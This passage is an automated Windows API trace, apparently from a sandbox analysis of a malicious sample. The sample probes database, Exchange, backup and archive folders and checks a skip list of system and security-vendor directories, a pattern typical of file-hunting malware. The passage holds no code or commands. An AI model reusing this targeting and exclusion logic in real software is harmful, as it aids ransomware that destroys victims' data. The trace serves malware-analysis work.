pbstr=0x18f104*="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10") returned 1 [0059.038] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.038] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.038] GlobalUnlock (hMem=0x44000c) returned 0 [0059.038] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.038] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.038] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.038] GlobalUnlock (hMem=0x44000c) returned 0 [0059.038] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.038] GlobalUnlock (hMem=0x440004) returned 0 [0059.038] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@匲U匆U企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.041] GetLastError () returned 0x3 [0059.041] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.041] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0059.042] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@劔U企@\x18䄌Q\x181")) returned 0xffffffff [0059.043] GetLastError () returned 0x2 [0059.043] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0059.044] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꐬR企@\x18?T\x18;")) returned 0xffffffff [0059.045] GetLastError () returned 0x2 [0059.045] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0059.045] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0059.047] GetLastError () returned 0x2 [0059.047] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0059.047] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0059.047] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@劔U企@\x18嚔U\x18j")) returned 0xffffffff [0059.049] GetLastError () returned 0x2 [0059.049] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0059.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0059.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0059.050] GetLastError () returned 0x2 [0059.051] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\嚐Up") returned 6 [0059.051] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0059.051] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꍴR企@\x18?T\x18y")) returned 0xffffffff [0059.052] GetLastError () returned 0x2 [0059.052] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.052] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0059.053] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0059.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꐬR企@\x18?T\x18\x81")) returned 0xffffffff [0059.054] GetLastError () returned 0x2 [0059.054] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0059.054] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0059.054] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@뭼R企@\x18?T\x18\x88")) returned 0xffffffff [0059.056] GetLastError () returned 0x2 [0059.056] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0059.056] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0059.056] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꍴR企@\x18?T\x18\x8f")) returned 0xffffffff [0059.058] GetLastError () returned 0x2 [0059.058] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.058] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0059.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a930, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@ꐬR企@\x18?T\x18\x97")) returned 0xffffffff [0059.059] GetLastError () returned 0x2 [0059.059] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.059] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0059.059] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.059] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.059] GlobalUnlock (hMem=0x440004) returned 0 [0059.059] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.059] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.059] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.059] GlobalUnlock (hMem=0x440004) returned 0 [0059.059] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.059] GlobalUnlock (hMem=0x44000c) returned 0 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.060] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.060] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.060] GlobalUnlock (hMem=0x44000c) returned 0 [0059.060] GlobalLock (hMem=0x44000c) returned 0x54f168 [0059.060] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.060] GlobalHandle (pMem=0x54f168) returned 0x44000c [0059.060] GlobalUnlock (hMem=0x44000c) returned 0 [0059.060] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.060] GlobalUnlock (hMem=0x440004) returned 0 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.060] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.060] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0059.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0059.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0059.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0059.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8d8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0059.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\", cchLength=0x39 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\") returned 0x39 [0059.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0059.061] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.061] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.061] GlobalUnlock (hMem=0x440004) returned 0 [0059.061] GlobalLock (hMem=0x440004) returned 0x54f168 [0059.061] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.061] GlobalHandle (pMem=0x54f168) returned 0x440004 [0059.061] GlobalUnlock (hMem=0x440004) returned 0 [0059.061] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.061] GlobalUnlock (hMem=0x44000c) returned 0 [0059.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0059.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0059.062] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3cf6c00, ftCreationTime.dwHighDateTime=0x1ca2caa, ftLastAccessTime.dwLowDateTime=0x5f005150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3cf6c00, ftLastWriteTime.dwHighDateTime=0x1ca2caa, nFileSizeHigh=0x0, nFileSizeLow=0x2a65d68, dwReserved0=0x0, dwReserved1=0x0, cFileName="msmdlocal.dll", cAlternateFileName="MSMDLO~1.DLL")) returned 1 [0059.062] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0059.062] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.062] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.062] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.062] GlobalUnlock (hMem=0x44000c) returned 0 [0059.062] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.062] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.062] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.062] GlobalUnlock (hMem=0x44000c) returned 0 [0059.062] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.062] GlobalUnlock (hMem=0x440004) returned 